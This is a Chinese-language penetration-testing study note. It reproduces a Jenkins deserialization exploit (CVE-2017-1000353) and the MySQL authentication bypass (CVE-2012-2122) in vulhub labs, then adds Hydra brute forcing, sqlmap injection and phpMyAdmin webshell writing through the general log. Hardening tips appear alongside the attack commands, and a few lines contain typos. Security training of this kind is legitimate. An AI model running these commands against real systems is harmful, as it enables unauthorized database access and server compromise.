文章目錄
一、Jenkins漏洞
Jenkins是一個開源軟件項目,是基於Java開發的一種持續集成工具,用於監控持續重複的工作.
JenkinsMiner加密貨幣挖礦軟件攻擊我國某機構
https://paper.tuisec.win/detail/a67d6915379bb86
序列化就是把對象轉成字節流,便於保存在內存、文件、數據庫中;
反序列化即逆過程,由字節流還原成對象。
所有Jenkins主版本均受到影響(包括<=2.56版本)
所有Jenkins LTS 均受到影響( 包括<=2.46.1版本)
環境下載:https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353
復現:
生成序列化字符串
java -jar payload.jar jenkins_poc.ser "touch /tmp/jenkins_0day"
發送數據包,執行命令
Python exploit.py
防護
到官網下載升級的安裝包(war包): www.freebuf.com
查看最新漏洞情況:
www.exploit-db.com
二、MySQL漏洞
輸入的密碼會與期望的正確密碼比較,由於不正確的處理,也會使MySQL認爲兩個密碼是相同的。 也就是說只要知道用戶名,不斷嘗試就能夠直接登入SQL數據庫,概率爲1/256
https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/
受影響版本
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
搭建CVE-2012-2122漏洞環境
docker-compose.yml
version: '2'
services:
mysql:
image: vulhub/mysql:5.5.23
ports:
- "3306:3306”
docker-compose up -d
復現漏洞
在出現了CVE-2012-2122漏洞得機器上可以使用以下3方式來登錄MySQL
- Bash
for i in `seq 1 1000`; do mysql -u root --password=bad -h 滲透IP地址 2>/dev/null; done
2)Metasploit
Metasploit是kali系統自帶的安全漏洞檢測工具
use auxiliary/scanner/mysql/mysql_authbypass_hashdump #加載模塊
show options #查看屬性
set RHOST 滲透IP地址 #設置IP地址
exploit或run #執行
得到的密碼用cmd5加密過的可以在 https://www.cmd5.com/ 解密出來
3)Python
#!/usr/bin/python
import subprocess
while 1: subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()
三、MySQL的弱密碼破解
Nmap
Nmap是一個網絡連接端掃描軟件,用來掃描網上電腦開放的網絡連接端。可以用來掃描端口。
nmap -sV -Pn --open -p3306 滲透IP地址 ##-sV 查看當前版本 -Pn 禁止ping
Hydra
爆破密碼工具。
hydra -l root -P password.txt mysql://滲透IP地址 -vV
四、MySQL注入利用
sqlmap
sqlmap -u "http://192.168.4.104/web/Less-1/?id=1" -v 3
防護
- 檢查是否避免運維賬號共享
- 檢查是否使用默認端口
- 檢查是否設置禁止MySQL對本地文件存取
lood_file('/etc/passwd')
revoke file on *.* from 'user3'@'127.0.0.1';
- 檢查test庫是否已被刪除。
SHOW DATABASES LIKE 'test';
DROP DATABASE "test";
- 檢查默認管理員賬號是否已更名
update user set user="newUserName" where user="root";
- 設置MySQL守護進程專用最小特權帳戶
ps -ef|egrep "^mysql.*$"
- 禁用MySQL命令歷史記錄(默認在用戶名下生成)
將MYSQL_HISTFILE環境變量設置爲/dev/null
.bash_profile,export MYSQL_HISTFILE=/dev/null
或者
ln -s /dev/null $HOME/.mysql_history
- 備份策略
- 確保僅管理員具有完全數據庫訪問權限
網站配置不允許使用root權限
錯誤:grant all on *.* to user1 identified by '123456';
指定數據庫:
grant all on db1.* to 'user2' @'ip' identified by '123456'
phpmyadmin漏洞
phpmyadmin是一個以PHP爲基礎,以Web-Base方式架構在網站主機上的MySQL的數據庫管理工具。
通過general log獲取webshell
mysql> show variables like '%general%';
mysql> set global general_log = on;
mysql> set global general_log_file ='網站路徑’;
mysql> select ‘<?php phpinfo(); ?>;
mysql> set global general_log_file =‘還原’;
mysql> set global general_log = off;
防護
- 刪除phpadmin
- 限制訪問phpadmin